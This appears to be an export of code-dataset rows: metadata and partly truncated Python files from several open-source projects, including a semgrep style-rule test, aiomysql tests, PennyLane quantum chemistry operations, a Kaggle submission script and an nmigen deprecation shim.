] | 6 | 2021-11-08T12:21:01.000Z | 2022-02-17T16:51:59.000Z | rules/code_quality.py | naderelabed/semgrep-rules | f4e973c16b2e162c7e672bd5c8daefd22d0bece9 | [
"MIT"
] | 4 | 2021-12-03T08:01:44.000Z | 2022-03-28T16:25:23.000Z | rules/code_quality.py | naderelabed/semgrep-rules | f4e973c16b2e162c7e672bd5c8daefd22d0bece9 | [
"MIT"
] | 7 | 2021-11-15T04:14:06.000Z | 2022-03-28T12:47:19.000Z | # ruleid:overusing-args
def function(args):
args.updates = 1
return args
# ok: overusing-args
def func(*args, **kwargs):
acceptable = 1
return acceptable
# ok: overusing-args
def func(*args):
return 1
| 15.214286 | 26 | 0.694836 | 30 | 213 | 4.933333 | 0.4 | 0.263514 | 0.324324 | 0.243243 | 0.351351 | 0.351351 | 0 | 0 | 0 | 0 | 0 | 0.017241 | 0.183099 | 213 | 13 | 27 | 16.384615 | 0.833333 | 0.276995 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0 | 0 | 0.125 | 0.75 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
0fab3181792794b650472e0b836b9493465b0cda | 5,808 | py | Python | tests/test_deserialize_cursor.py | adadaptedinc/aiomysql | f2927fd7b1f767d1e2562532682cb810a0a64de5 | [
"MIT"
] | 1,535 | 2015-02-01T23:38:42.000Z | 2022-03-31T11:53:37.000Z | tests/test_deserialize_cursor.py | adadaptedinc/aiomysql | f2927fd7b1f767d1e2562532682cb810a0a64de5 | [
"MIT"
] | 668 | 2015-02-02T22:04:10.000Z | 2022-03-31T01:44:46.000Z | tests/test_deserialize_cursor.py | adadaptedinc/aiomysql | f2927fd7b1f767d1e2562532682cb810a0a64de5 | [
"MIT"
] | 299 | 2015-02-17T22:26:44.000Z | 2022-03-17T12:25:55.000Z | import copy
import aiomysql.cursors
import pytest
BOB = ("bob", 21, {"k1": "pretty", "k2": [18, 25]})
JIM = ("jim", 56, {"k1": "rich", "k2": [20, 60]})
FRED = ("fred", 100, {"k1": "longevity", "k2": [100, 160]})
@pytest.fixture()
async def prepare(connection):
havejson = True
c = await connection.cursor... | 35.631902 | 76 | 0.615358 | 719 | 5,808 | 4.926287 | 0.176634 | 0.050819 | 0.062394 | 0.06437 | 0.824675 | 0.824675 | 0.813665 | 0.807453 | 0.79616 | 0.762564 | 0 | 0.02754 | 0.256026 | 5,808 | 162 | 77 | 35.851852 | 0.792178 | 0.080062 | 0 | 0.650407 | 0 | 0 | 0.27615 | 0.012226 | 0 | 0 | 0 | 0 | 0.089431 | 1 | 0 | false | 0 | 0.02439 | 0 | 0.073171 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e844e5a3c49451372b748b34f49535e0df08d251 | 194 | py | Python | run_with_hanskenpy.py | NetherlandsForensicInstitute/extraction-plugin-skeleton-python | 0bb345baac2433fbc3ac78ce152abf2553ebbbb3 | [
"Apache-2.0"
] | null | null | null | run_with_hanskenpy.py | NetherlandsForensicInstitute/extraction-plugin-skeleton-python | 0bb345baac2433fbc3ac78ce152abf2553ebbbb3 | [
"Apache-2.0"
] | 1 | 2021-08-09T19:24:18.000Z | 2021-08-11T06:29:38.000Z | run_with_hanskenpy.py | NetherlandsForensicInstitute/extraction-plugin-skeleton-python | 0bb345baac2433fbc3ac78ce152abf2553ebbbb3 | [
"Apache-2.0"
] | 1 | 2021-03-23T15:54:58.000Z | 2021-03-23T15:54:58.000Z | from hansken_extraction_plugin.runtime.extraction_plugin_runner import run_with_hanskenpy
from plugin.extraction_plugin import Plugin
if __name__ == '__main__':
run_with_hanskenpy(Plugin)
| 27.714286 | 89 | 0.850515 | 25 | 194 | 5.92 | 0.52 | 0.324324 | 0.216216 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097938 | 194 | 6 | 90 | 32.333333 | 0.845714 | 0 | 0 | 0 | 0 | 0 | 0.041237 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
e876ae418e1fd66411793fb76cda9ddfd9577d66 | 23 | py | Python | __init__.py | fusion-flap/flap_jet_dataapi | 2ea43b5124922b06bac99109f8a1eb311f15f984 | [
"MIT"
] | null | null | null | __init__.py | fusion-flap/flap_jet_dataapi | 2ea43b5124922b06bac99109f8a1eb311f15f984 | [
"MIT"
] | null | null | null | __init__.py | fusion-flap/flap_jet_dataapi | 2ea43b5124922b06bac99109f8a1eb311f15f984 | [
"MIT"
] | null | null | null | from .jet_api import *
| 11.5 | 22 | 0.73913 | 4 | 23 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 23 | 1 | 23 | 23 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e89785d045353022ad6970fb2e3126f742318c9a | 37,880 | py | Python | pennylane/ops/qubit/qchem_ops.py | MoritzWillmann/pennylane | 2b07d22cfcc6406ba28e5c647062340b240a4ee5 | [
"Apache-2.0"
] | 539 | 2018-11-13T08:45:42.000Z | 2020-07-27T18:17:16.000Z | pennylane/ops/qubit/qchem_ops.py | MoritzWillmann/pennylane | 2b07d22cfcc6406ba28e5c647062340b240a4ee5 | [
"Apache-2.0"
] | 588 | 2018-11-14T10:21:47.000Z | 2020-07-28T06:27:14.000Z | pennylane/ops/qubit/qchem_ops.py | MoritzWillmann/pennylane | 2b07d22cfcc6406ba28e5c647062340b240a4ee5 | [
"Apache-2.0"
] | 165 | 2018-11-13T18:58:56.000Z | 2020-07-27T17:18:17.000Z | # Copyright 2018-2021 Xanadu Quantum Technologies Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or... | 36.920078 | 136 | 0.58028 | 5,222 | 37,880 | 4.159134 | 0.080429 | 0.016207 | 0.016852 | 0.017312 | 0.865095 | 0.849625 | 0.83747 | 0.819697 | 0.806161 | 0.789171 | 0 | 0.064117 | 0.271647 | 37,880 | 1,025 | 137 | 36.956098 | 0.722943 | 0.496067 | 0 | 0.679887 | 0 | 0 | 0.004336 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.113314 | false | 0 | 0.011331 | 0.022663 | 0.320113 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e8b09641b3b715355951a5ad4192ff599b63b41d | 13,130 | py | Python | wienerschnitzelgemeinschaft/src/shai/fastai/sub_leakCor_12.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | wienerschnitzelgemeinschaft/src/shai/fastai/sub_leakCor_12.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | wienerschnitzelgemeinschaft/src/shai/fastai/sub_leakCor_12.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | import pandas as pd
#submission_df = pd.read_csv('en_res34swa_re50xt_re101xtswa_wrn_4.8.csv')
submission_df = pd.read_csv('subs/en12a_original_4.8.csv')
df2 = pd.read_csv('../input/test_matches_tommy.csv')
for index,row in df2.iterrows():
submission_df.loc[submission_df['Id'] == row['Test'], 'Predicted'] = row... | 93.120567 | 107 | 0.74425 | 1,810 | 13,130 | 5.248066 | 0.11768 | 0.324666 | 0.200547 | 0.334246 | 0.873039 | 0.763238 | 0.691336 | 0.628698 | 0.605748 | 0.545847 | 0 | 0.212352 | 0.0492 | 13,130 | 140 | 108 | 93.785714 | 0.548542 | 0.006321 | 0 | 0 | 0 | 0 | 0.500192 | 0.354619 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.007576 | 0 | 0.007576 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e8b822dc5690984704c6bf30a8e399a978623dfe | 199 | py | Python | nmigen/hdl/rec.py | psumesh/nmigen | 7d611b8fc1d9e58853ff268ec38ff8f4131a9774 | [
"BSD-2-Clause"
] | 528 | 2020-01-28T18:21:00.000Z | 2021-12-09T06:27:51.000Z | nmigen/hdl/rec.py | psumesh/nmigen | 7d611b8fc1d9e58853ff268ec38ff8f4131a9774 | [
"BSD-2-Clause"
] | 360 | 2020-01-28T18:34:30.000Z | 2021-12-10T08:03:32.000Z | nmigen/hdl/rec.py | psumesh/nmigen | 7d611b8fc1d9e58853ff268ec38ff8f4131a9774 | [
"BSD-2-Clause"
] | 100 | 2020-02-06T21:55:46.000Z | 2021-11-25T19:20:44.000Z | from amaranth.hdl.rec import *
from amaranth.hdl.rec import __all__
import warnings
warnings.warn("instead of nmigen.hdl.rec, use amaranth.hdl.rec",
DeprecationWarning, stacklevel=2)
| 24.875 | 64 | 0.743719 | 27 | 199 | 5.333333 | 0.555556 | 0.166667 | 0.291667 | 0.25 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006024 | 0.165829 | 199 | 7 | 65 | 28.428571 | 0.861446 | 0 | 0 | 0 | 0 | 0 | 0.236181 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.